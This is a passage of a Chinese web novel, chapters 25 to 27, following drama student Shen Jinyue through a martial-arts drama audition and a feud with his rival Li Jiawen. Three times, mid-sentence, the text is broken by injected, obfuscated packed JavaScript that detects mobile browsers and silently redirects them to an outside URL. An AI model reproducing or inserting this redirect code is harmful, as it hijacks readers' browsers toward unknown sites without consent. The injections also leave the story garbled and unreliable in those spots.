他笑着回应别人的寒暄,得体妥当,也能和身旁人闲谈二三言。 “小沈,你知道这项目究竟是怎么回事吗?”在他旁边的女演员悄声跟他说,“我也是托人打听到的,这个项目不得了的,古装武侠轻玄幻,原著特别牛,但具体是什么……嘿嘿……没问到。” “沈今越。” 正聊着,有人喊。他抬头看去,见此人,笑容不减。 李佳文在他面前站定,居高临下地看过来:“没想到啊,还能在这碰见你。” 25. 【025】 “刚那人好没礼貌呀,认识?” “见过,不熟。” 他对李佳文这人没什么特别的观感。只要不招惹到他身上,脾气好坏跟他没半毛钱关系。出轨的事沈今越懒得深究,左右不过奸夫淫夫,知三当三,何必白白费了自个的心力,试图在一滩屎里找出道理。 那件事后,据崔雀雀来报,李佳文在他们学校里本就不好的名声又降了三个点,若这是一只股票,那他便是一路飘绿,春天得不行。 沈今越把这插曲抛在脑后,只问自己关心的事:“姐姐,你刚刚说这项目是个古装武侠剧?” 女演员点点头:“是啊,我们公司就我打戏还能看,经纪人就把我塞过来了,你呢?你们公司什么情况?” “我还没签约呢。”沈今越坐得端正笔直,两手放在腿上,说,“老师推荐我来的,别的都没多提,只是叮嘱了句,让我练练身段。”现在想来,估计也是为了应和剧目的题材类型。 “哇哦,学院派?哪个学校呀?电影?戏剧?戏曲?” 两人聊起来,许是看他投缘,女演员还悄悄告诉他:“小孩,这个秘密你可不要跟别人说。” “我不会的,姐姐。” 他乖得像团小糯米。 纪桃凑到他耳边讲:“可靠消息,这项目请了方寒当导演。” “方寒?”沈今越是真没想到,“方导不是拍电影的吗?而且题材……” 在新生代导演里,方寒的名字如雷贯耳。出道作虽是一部成本平平的小妞电影,却在当年的寒假档里杀出一条血路,靠轻奇幻甜宠拿下三亿票房,往后更是稳定产出,三年必有一片,在爱情片行情低迷的电影市场里,打出了纯爱女王的名号。 网友辣评,方导以一己之力拯救了即将在电影院中死去的万千少女心。 也有人说,方寒的片子没营养,没深意,又土又俗,全在讨好女性观众。 要沈今越看,能把土和俗拍得这么精彩的,便也是人才。 实在没想到她会来拍电视剧,还是这么个题材,所以,这片子是古偶?古偶倒是容易捧人,只是年年扑街的也有,不知道这剧是什么情况,来试镜就跟开盲盒一样,沈今越心里揣测万分。 “我先去准备啦。”纪桃难掩兴奋和紧张,“今越,你等我出来跟你分享情况。” 纪桃抽签的号码在前,没坐多久就被邀去了准备间。走的时候,还一个劲跟沈今越挥挥,又指指手机,暗示等会线上联系。是的,两人刚唠嗑没一会,微信好友就已加上。 试镜正式开始后,沈今越感觉周围的空气都冷凝了下来,悄悄打量旁人,大家几乎都在定神关注走廊尽头的情况。 李佳文是这时候在沈今越身边坐下的,方才那是纪桃的位置。 “你倒是会攀关系,一来就挑准了人。”李佳文弯酸得直白。 沈今越闭目养神,身子后倾,后脑勺枕在墙壁上。 李佳文咬咬牙,不好当着这么多人发火,低声怒道:“沈今越,我跟你说话呢?” 沈今越依旧没反应,像是睡着了。 李佳文紧紧拳,知道这人在装,也不好发作脾气,唰地一下起身离开。 人走远,沈今越缓缓睁开眼。 半小时后,沈今越收到了纪桃发来的消息。 群面去死:我阵亡了。 群面去死:这试镜好像有三轮,我虽然挺进了最后一轮,但感觉自己表现的超级差,而且……最可怕的是……前两轮居然是群面?!那场面,简直疯狂,群魔乱舞。 只茸:看出来了,摸摸。 纪桃这网名倒是改得够快,他怕日后此人再改ID,立刻将她的备注换上。 沈今越对群面倒没什么特别的抗拒,艺考时天天练这玩意儿,校考的时候南北几所学校也被他面了个遍。 他唯一有些担心的是,希望老天别把他和李佳文分到一组。 事实证明,墨菲定律是存在的。 沈今越拿着号码牌走进准备间时,一眼就看到了已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044185|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在其内的李佳文。 脑袋隐隐作痛。 他记得李佳文刚跟他打照面的时候,号码牌可不是手里这个。跟人换了? “沈学长。”李佳文学乖了,再次主动跟他打招呼。平心而论,这人长得不丑,能进戏剧学院的,长得多是端正没缺陷。只是李佳文眼底毫不遮掩的恶意,叫他的面相看起来都变了几分。 沈今越朝他点点头,往屋子最角落的地方站去。 李佳文像块牛皮膏药,黏在他身上不放。 “你知道吗?徐云保研失败了,系里老师知道了他这事,取消了他的资格。” 沈今越:“谢谢,这是我今天听到的第一个好消息。” 李佳文冷然:“你就一点也不在乎?” 沈今越百思不得其解:“你这么关心我做什么?你喜欢他?还是喜欢我?” 李佳文:“……谁会喜欢你啊!” 沈今越自如地开始拉伸活动,他动了动肩颈,瞄了李佳文一眼:“因为你现在缠着我的样子很像求而不得因爱生恨。” 李佳文觉得这人疯了。 “我只是单纯讨厌你。”他压抑着自己的怒意,“就拿徐云那部短片来说,我才是男主角,可最出彩的人变成了你。在你之前,我本来跟徐云都快谈了,他又去追你。我知道他这人什么品行,等着看一场好戏,哪知道……沈今越,是我小看你了,我一直以为你就是个蠢货,没想到,你还能给我下套。” “我一直在等什么时候再碰到你,这不,机会就来了。” 沈今越在压腿,横叉拉得笔直。李佳文蹲在他身边说:“你好认真啊学长,可惜你今天什么也不会得到的。这一次,被镜头看见的人只会是我。” 双手往后撑,两腿紧贴墙边,沈今越侧头看:“李……噢,你叫什么来着?” “你拼命想咬我一口的样子也好认真啊。”见人恼怒,他忽然眉梢眼角皆是笑意,“我其实挺喜欢狗的,你要是乐意叫上两声,说不定我会奖励你哦。” 26. 【026】 “你——”李佳文实在说不过他,只得冷笑,“你就嘴硬吧。希望你落选以后痛哭流涕的时候这张嘴也能这么厉害。” 沈今越扬扬眉,保持着笑意。 准备时间结束,一行五个人往里去,李佳文挑了个好号码,按顺序站,他正巧在五个人中央。 这人估摸着背后有点关系。沈今越算是看出来了。能这么正巧挑中C位,未必就是运气或者意外。 试镜间是会议室改造,四面墙都没有镜子,屋内唯一的长排桌椅后,坐着四个人,每个人的面前放了个小牌子,没写名字,写了职务,依次分别是选角导演,编剧,导演,制片。 四人凑齐了老中青三代,选角导演是个中年人,编剧很老派,一头白发,圆乎乎的,精气神却年轻。导演的确是方寒,三十来岁,一头短发干脆。制片是个西装男,沈今越怎么看怎么眼熟,一时半会想不出名字,将之归结为也许是在某篇电影杂志采访上见过这人。 桌子的两边墙壁上挂着各种道具,正如纪桃所说,是武侠相关的内容。 另沈今越有点在意的是,房间里搭出了个小隔间,屏风挡着,看不出里面具体有什么,只影影约约有个人影。 这又是什么路数?哪位大佬躲在里面吗? 沈今越眼观六路耳听八方,把屋子里的情报尽数收集完毕,即刻收心,等着试镜开始。 一面是自我介绍,这套他熟,集训的时候一周有三天都练这,站在镜子前,字正腔圆,仔仔细细抠掉那些说话时多余的小毛病。 沈今越是最后一个,轮到他的时候,他自然得体地把心中早就默默过掉一遍的介绍准备词讲完。 “你跟那个13号一样,还在读书啊。”问话的是选角导演。 “是的,大三。” “有没有什么正式拍戏的经验?除开你们学生剧组之外。”还是这人。 “只在假期跑过一些龙套。”沈今越答。 其实这些情况他的履历表上写得清清楚楚明明白白,也不知道这人为何要特意点出来再问一遍。刚刚李佳文自我介绍的时候,也没听他说这些事。 李佳文比他小一届,按理来说,上学期间出来试镜正式剧组,是违反两校共同规定的。只是学校擅长睁一只眼闭一只眼,沈今越也没打算背后打小报告。 直接告诉他,今天这场面试有些微妙。 “白纸一张啊。”选角导演感慨。 白头发编剧没说话,上上下下打量着他。方寒低头翻看着他的资料,该是老师之前让他准备的那份。制片一双眼笑眯眯,问了个古怪的问题:“小同学,谈过恋爱没?” 沈今越错愕一瞬,极快地控制好表情:“请问制片老师,这个问题和我今天的试镜有很大关系吗?” “如果我说有呢?”裴子逸习惯性地玩笔,这回学聪明了,手里拿着的是黑色签字笔,“给你个情境,要是某天你相处多年的朋友忽然跟你告白,你会是什么反应?” “拒绝。”沈今越毫不犹豫。 裴子逸不动声色往屏风那看了眼,改变姿势,两手捧着下颌:“这么直接?都不再考虑一下?彼此给个机会?” 沈今越摇摇头。 他尝试过给人机会,下场前三章可查。 “在这世上,不管是人或物,若不是我一眼看中的,我不会再要。”他下颏微抬,眼神里仿佛带着与生俱来的傲意,“换言之,若是我看上的,断不会有叫别人抢走的道理。” 裴子逸怔住,方寒终于从表单上抬头,白头发编剧眼镜遮挡下的瞳孔唰地一亮。 “你知道我们要拍什么?”他问。 裴子逸不明所以地转头看编剧。 “猜到了一点。”沈今越一改方才的矜傲,笑得温和腼腆,“本来不确定,老师你这样说,我心里确定多了。” 方寒挑挑眉,拿胳膊撞了下裴子逸,小声到用只两个人能听见的声音:“喂,什么情况?没透题吧你俩?” 裴子逸一头雾水,揉揉自己的胳膊,跟她说:“我不造啊,我反正没说,那谁也不像会说的样子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056523|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李佳文虽听不清方寒和制片在说什么,但看情况,八成是在讨论沈今越的事。他低下头,咬紧了唇,积蓄多日的不甘和嫉妒焚烧成火焰,暗暗在他胸膛里焦灼。放在腿边的手悄然地比了个姿势,这是个信号。 选角导演见了,当即cue流程,开始试镜第二趴,也就是二面。 “我想大家也都或多或少知道,我们这个项目呢,跟武侠沾点边。所以这第二部分啊,主要是想看看各位的身段功底。屋子两边都放了好些道具,大家可以去挑挑,捡自己上手的、熟练的,想要的用用。” “然后呢,选完来我这,这盒子里有小纸条,大家抽一张,具体的,等会再给大家讲。” 李佳文走得很快,特意往右走,与沈今越一边,当着面拿走了放在道具架上的那把长剑。 “我不知道你哪来的手段知道这项目情况的,不过,沈今越,这剑是我的。”李佳文讲话的时候,伸手搂着沈今越的肩膀,一副哥俩好的模样。 看来李佳文也知晓这项目的内情。 沈今越转头看了眼他拎着剑回屋子中心的身影,又将余下的道具武器以目光扫了一遍。 没中意的。 既已猜出这项目情况,沈今越当然是奔着自己最喜欢的角色去。剑已被拿走,选别的也没有意义,左右思量,他将目光定在了房间角落的鲜切绿植。 “各位老师,我有个问题。”举手提问的样子,把裴子逸逗得直笑,听他说想要折一支树桠,裴子逸同意了。 “这合适吗?”选角导演问。 裴子逸看他一眼:“哎,刘导,这有什么不合适的?左右不是发财树,折就折了。” 裴子逸亲自站在超大鲜切舌雀木旁。 “想要哪枝?” 沈今越挑了。 工作人员忙找来花剪,咔嚓一声,树枝从裴子逸手里递过来。在没人看得见的角落,裴子逸忍不住朝这久未蒙面的弟弟挤挤眼。 沈今越:“……” 这制片该不会是想潜规则他吧? 27. 【027】 接过木条,沈今越自觉往后退,与此人拉开距离。 选完‘道具’,接着就是抽签,人人一张纸条,打开来看是句诗篇。 ——待到秋来九月八,我花开后百花杀。 “注意看哦,纸条背后有颜色,相同颜色的分为一个阵营。”沈今越瞧了眼,李佳文在他对面,五人分组,三红两蓝。蓝的是他们这边。 和他一组的是个女性,年纪比他长些,气质爽利,沈今越看她眼熟又叫不出名字,推测该是在剧里看过她演的角色。 她是11号,挑了根长棍,握在手里,颇有几分架势。 “都分好组了吧?接下来我提供情景,等会大家自由发挥。你们两方是敌对势力,在一次武林比武上相遇,麻烦大家贴合自己抽中的诗句进行随意发挥。” 还真挺随意的。 11号跟沈今越商量,一会要是对面先出的是个男孩,她就先上,她抽到的是句‘故山秋最好,今日断相思’,得搭个男的才行。 沈今越瞄了眼对面的,心道,姐姐,你还是把路走窄了。 接下来,沈今越算是懂了,为何纪桃试镜结束,会把微信名字改成‘群面去死’。 可怕。 实在是太可怕了。 正经剧组有武术指导时都不一定能捋清楚对打的动作,更别提这试镜,各个拿着道具,耍起来的时候跟猴没什么两样。 场面一时半会惨不忍睹。 本身演戏就讲究节奏,你来我往,就和打网球乒乓一样。站在中心的两个人,不但要努力把对话里的节奏往自己抽到的诗句上凑,还要时不时找准时机,秀一手自己的身段。 于是乎,节奏稀碎,画面崩溃。 尽管如此,沈今越也没半点能笑出来的心情,他尊重所有努力的演员,也清楚等着他的未必是什么简单的状况。 李佳文就站在对面,第一组整场下来,他就盯着沈今越没看,根本没在乎台中央,方才的两位表演究竟如何。 队友下来的时候,自知表演失误难堪,低着头,跟沈今越说抱歉。 沈今越拍拍她的背,上前一步,如他所料,李佳文和余下一人争了片刻,抢先对上他。 “我今日来,是替我朋友讨个公道。”他先发制人,执树的手背在身后,另外一只手自然下垂在身侧,眼眸灼灼,说话的腔调已与平日不同,“贵派师兄分明与她已有婚约在身,又为何另娶他人?” 李佳文不知道这人在胡说八道什么,他没看刚才的表演,全然不知,沈今越这话是接上了刚刚的剧情。 “少废话。”李佳文歘地抽出剑,笔直地将剑尖对准沈今越的脸庞,“看剑!” 李佳文显然是准备多时了。 从他抽剑的姿态,站立的身形,毫不犹豫冲上来的脚步…… 大家都是盲答,就你玩开卷啊! 沈今越将垂下来的手背在身后,树枝一挡,剑是软剑,没开刃,被挡得晃荡出声响。李佳文顿住,又是一攻,反手将剑横刺而来。沈今越腰身往后弯去,以树枝再将剑挥开。 “谁教你这般用剑?”他表现得游刃有余,甚至还有空出言嘲讽两句,“心浮气躁,急于求成,好高骛远——” 每说一个词,他就用树枝将剑回挡一次,还能抽空敲打李佳文的肩膀和手臂。 待这话说完,李佳文已落下风,步步后退。 “啪!” 沈今越的树枝打上他拿剑的手,疼得他皱眉,手一松开,剑就被沈今越空着的那只手接住,下一秒,剑横在了李佳文的脖前。 “就你,还想跟我比剑?”少年笑得肆意傲慢,“再练一个甲子,你也不配。” “如何?服输不服输?” 李佳文恼急。 他怎么听都觉得沈今越这些台词完全是在明着暗示他。他咬紧牙,拳也紧了,抬手欲挥—— “好了。” 很低的声音,格外沙哑粗糙。 李佳文回神,收了手。 沈今越也后退一步,将剑和树枝都放下,转头看向声音来处,是屏风后。没半点被打断的不快,他眸光熠熠,出戏极快,此刻俨然是温顺模样,“好的老师。” 裴子逸:“……?” 他一双眼在沈今越和屏风处来回转了好几次,若有所思地挑挑眉。 二面还在继续,红方最后的演员跟沈今越又搭了一场。 “稍等一会啊,我们讨论下结果。”选角导演继续cue流程,“你们先去外面等着吧,就门口,有座位的,先坐会,一会会有人来叫你们。” · 门外,五人落座,各有各的神色。 李佳文特意挑了沈今越旁的位置坐下。 “你故意的是不是?”他始终憋着一口气,满心愤怒没地发,“沈今越,我他妈问你话呢!你装什么装!” 阖眼不语的人抬起眼皮看他。 “现在不是在试戏。”男生抬手,指了指走廊两侧的监控,“怎么?李佳文,你还要再表演一下?” 蛇打七寸,李佳文准备动手的姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068005|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势一下卸回去。 “今天是我认栽。”李佳文的脸因愤怒而扭曲,“我是没料到,原来你背后也有靠山。从前听徐云说起你,还以为你多冰清玉洁,到头来,你不也和我一样?” “我听人说,一个人心里装着什么,就能看见什么。”沈今越保持着双手环抱于胸的姿势,甚至没正眼瞧李佳文一下,“李佳文,不是所有人都和你一样。” “胡说八道,你要背后没人,怎么知道项目的事!” 其实是很简单的道理,沈今越懒得同李佳文多说。 在他这讨不了好,李佳文闭嘴了。 耳根清净下来,沈今越重新闭眼假寐。直到现在,他兴奋跳动的心脏还未平稳。猜到了作者就在那屏风之后,却没想到能够听到他讲话。 言月其人,写书红遍大江南北,有人说他是文坛紫微星,一己之力盘活了将死未死的老牌出版社,摇身一变成为商业价值最高的作者。出道这些年,言月大神从未掉马,不以真面目示人,不线下签售,不公开与私生活相关的各种信息,就连声音都是谜题。 今天这趟来得不亏。 沈今越指尖点点手臂,于脑内复盘着方才的表现。 门被推开,工作人员前来通知结果。 满脸死意的李佳文一改方才的颓意,起身进屋进行终面之前,留给沈今越一个挑衅的笑容。 “你输了。”他说。 纪桃在手机里问。 纪桃:怎么样?怎么样?进了吗? 纪桃:三面听说那个原著作者也会提问哦! 沈今越回了个可爱的表情包,说:我的面试到此结束啦。 他和其他人一块往外走,心里很平静。这种结果不是没有预料到,也不是没有经历过。说是平静,胸口依旧堵得慌。在电梯口站了半晌,他拿出手机,盯着名为傻逼的聊天对象头像。 先前说好让谢明然等通知,现在沈今越又不想通知了。 面试落选,还被小三嘲讽,这要叫谢明然知道了,他不得笑出声来? 抿抿唇,收起手机,老实巴交挤上电梯。 会议室内。 李佳文进来后,唯有裴子逸合选角导演同他说了两句话。编剧和方寒都没怎么给他好脸色,李佳文心下不安,硬着头皮准备接下考题演戏。 忽然,屏风后有了动静。 裴子逸吓一跳,起身,走到屏风后。 “老大,什么情况,你现在就要走?” 谢明然语气冷然:“他怎么进来了?”